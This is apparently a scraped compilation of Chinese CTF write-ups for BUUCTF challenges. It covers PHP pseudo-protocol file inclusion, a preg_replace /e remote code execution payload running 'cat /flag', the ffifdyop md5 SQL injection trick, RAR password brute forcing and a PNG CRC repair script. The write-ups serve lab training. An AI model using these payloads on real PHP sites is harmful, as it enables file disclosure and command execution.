对于想了解[BJDCTF2020]ZJCTF,不过如此php伪协议,preg_replace()函数/e模式的读者,本文将提供新的信息,并且为您提供关于ACTF2020新生赛include-PHP伪协
对于想了解[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式的读者,本文将提供新的信息,并且为您提供关于ACTF2020新生赛 include-PHP伪协议、BUUCTF——[BJDCTF2020]Easy MD5 1、CTF-Misc-[BJDCTF2020]just_a_rar、CTF-Misc-[BJDCTF2020]一叶障目的有价值信息。
本文目录一览:- [BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式
- ACTF2020新生赛 include-PHP伪协议
- BUUCTF——[BJDCTF2020]Easy MD5 1
- CTF-Misc-[BJDCTF2020]just_a_rar
- CTF-Misc-[BJDCTF2020]一叶障目
[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式
转自https://www.cnblogs.com/gaonuoqi/p/12499623.html
题目给了源码
<?PHP error_reporting(0); $text = $_GET["text"]; $file = $_GET["file"]; if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not Now!"); } include($file); //next.PHP } else{ highlight_file(__FILE__); } ?>
绕过限制,首先用PHP://input伪协议或着用data伪协议读取I have a dream,然后用filter伪协议读取next.PHP
?text=data://text/plain,I have a dream&file=PHP://filter/convert.base64-encode/resource=next.PHP
获取next.PHP的源码
<?PHP $id = $_GET['id']; $_SESSION['id'] = $id; function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str ); } foreach($_GET as $re => $str) { echo complex($re, $str). "\n"; } function getFlag(){ @eval($_GET['cmd']); }
preg_replace存在/e的命令执行漏洞 看了一下这篇文章的讲解
构造payload
?\S*=${getFlag()}&cmd=system('cat /flag');
ACTF2020新生赛 include-PHP伪协议
PHP伪协议是什么
PHP伪协议(PHP pseudo-protocols)是一种PHP编程语言中的特殊功能,它允许开发者通过URL或文件路径来访问和处理各种数据源,包括文件、网络资源和其他数据。
PHP伪协议怎么用
这些伪协议在URL中以一种类似于标准协议(如HTTP、FTP等)的方式出现
PHP伪协议原理是什么
PHP解释器会处理不同的伪协议,并将它们映射到适当的处理程序和资源,过程为
- URL解析:当PHP脚本中包含一个使用伪协议的URL时,PHP解释器首先会解析这个URL,识别伪协议的部分(例如php://、file://等)以及相关的路径和参数。
- 伪协议处理器:一旦解析了伪协议,PHP解释器会确定要使用的伪协议处理器。每个伪协议都有对应的处理器,负责处理该伪协议所代表的操作。例如,file伪协议处理器用于处理本地文件,http伪协议处理器用于处理HTTP请求,等等。
- 资源访问:伪协议处理器会根据URL中的信息执行相应的操作,例如,如果是读取文件,它会打开文件并返回文件内容;如果是HTTP请求,它会发送HTTP请求并返回响应内容。
- 流操作:对于php://伪协议,它允许对PHP的输入和输出流进行操作。例如,php://stdin用于读取标准输入,php://stdout用于写入标准输出。这对于命令行脚本和程序的输入输出非常有用。
解题
打开题目,只有一个超链接
点击超链接 链接为http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
通过file参数访问flag.php这个文件,然后将文件内容显示在网页上
页面内容只有一句话Can you find out the flag?
但是flag应该就在这个文件里了,只是因为某种原因显示不出来
用php伪协议php://
来指定用base64编码输出文件内容(php伪协议允许对PHP的输入和输出流就行处理 包括编码)
payload=file=php://filter/read=convert.base64-encode/resource=flag.php
得到一串base64编码字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NDg5MzhlNjMtMTdmYi00NjdkLTk5MzQtNGVmZWY4MDJjNDVkfQo=
解密后得到
<?php
echo "Can you find out the flag?";
//flag{48938e63-17fb-467d-9934-4efef802c45d}
得到flag=flag{48938e63-17fb-467d-9934-4efef802c45d}
当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
PHP处理器会执行php中的代码,所以显示的是Can you find out the flag?
但是当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
PHP无法执行这串被编码的字符,就会直接输出
BUUCTF——[BJDCTF2020]Easy MD5 1
前言
这道题在解答之前需要先有个知识储备,其中需要得知识储备是PHP语言以及md5加密得内容,并且为了方便最好再精通一门语言好用来编写脚本
知识储备
PHP中是一个弱语言,它是一个服务器端得语言(也叫后端语言),属于web端得开发语言,和java差不多,但也不完全一样,在PHP中有一个函数叫做md5函数,这个函数得基本格式是:
<?PHP
$a = '123';
echo md5($a,true);
?>
这里就要着重的讲述一下echo md5($a,true)了,这里可以将括号中得true改成false,当然这样一来得出得结果就会被更改,因为一个是以16进制显示,而一个是以2进制显示,当然原来得值不会被影响,这就是PHP中得md5函数得作用以及使用方式,接下来我们就进入正题了。
解体步骤
当我们进入环境后,只会看见一盘空白得背景和一个文本框和提交按钮,然后,然后就没然后了…
(1)这里先写一个脚本并且利用md5函数跑一下,要得出这个样子得规则
这个字符串就是ffifdyop,这里就能够得出第二个网页了:
这里查看一下源代码就能够看见一个PHP得代码:
最后我们只需要传输得值符合这个规则就可以了,接下来编写破解第二个网页得payload了:
这样后就能得到第三个网页了:
看来这就是最后一个网页了,现在我们对代码进行分析后就能得出,这里得payload其实和上一个差不多,鹅鹅鹅,然后编写payload并且执行就能得到flag了:
好了,这道题就得出来了,因为难得写解释了,payload这里用数组就能够符合规则了。
CTF-Misc-[BJDCTF2020]just_a_rar
CTF-Misc-[BJDCTF2020]just_a_rar
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
https://buuoj.cn/challenges
题目
Misc类,[BJDCTF2020]just_a_rar
思路
这类题目首先把文件下载下来,然后打不开
需要密码,那么我们选择暴力破解,使用暴力破解的软件,在linux下使用rarcrack
rarcrack
下载
sudo apt-get install rarcrack
使用
rarcrack --type rar --threads 10 xxx.rar
密码是2016,打开发现是一张图片
使用bless
将文件拖进来找到flag
感谢
BUUCTF以及勤劳的自己
CTF-Misc-[BJDCTF2020]一叶障目
CTF-Misc-[BJDCTF2020]一叶障目
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
https://buuoj.cn/challenges
题目
Misc类,[BJDCTF2020]一叶障目
思路
这类题目首先把文件下载下来,然后打不开,环境是在linux下
报了CRC的错误,是png的CRC校验错误
在网上找到了大佬关于png修复CRC错误的脚本
#coding=utf-8
import zlib
import struct
#读文件
file = ''1.png'' #注意,1.png图片要和脚本在同一个文件夹下哦~
fr = open(file,''rb'').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace(''\\x'','''').replace("b''",''0x'').replace("''",''''))
#crc32key = 0xCBD6DF8A #补上0x,copy hex value
#data = bytearray(b''\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00'') #hex下copy grep hex
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
width = bytearray(struct.pack(''>i'', w))#q为8字节,i为4字节,h为2字节
for h in range(n):
height = bytearray(struct.pack(''>i'', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width,height)
#写文件
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+''.png'',''wb'')#保存副本
fw.write(newpic)
fw.close
python3 png.py
然后会发现多出来了一个png文件
这个就是修复好了的
打开修复好了的png,找到flag
感谢
BUUCTF以及勤劳的自己
今天关于[BJDCTF2020]ZJCTF,不过如此 php伪协议, preg_replace() 函数/e模式的介绍到此结束,谢谢您的阅读,有关ACTF2020新生赛 include-PHP伪协议、BUUCTF——[BJDCTF2020]Easy MD5 1、CTF-Misc-[BJDCTF2020]just_a_rar、CTF-Misc-[BJDCTF2020]一叶障目等更多相关知识的信息可以在本站进行查询。
本文标签: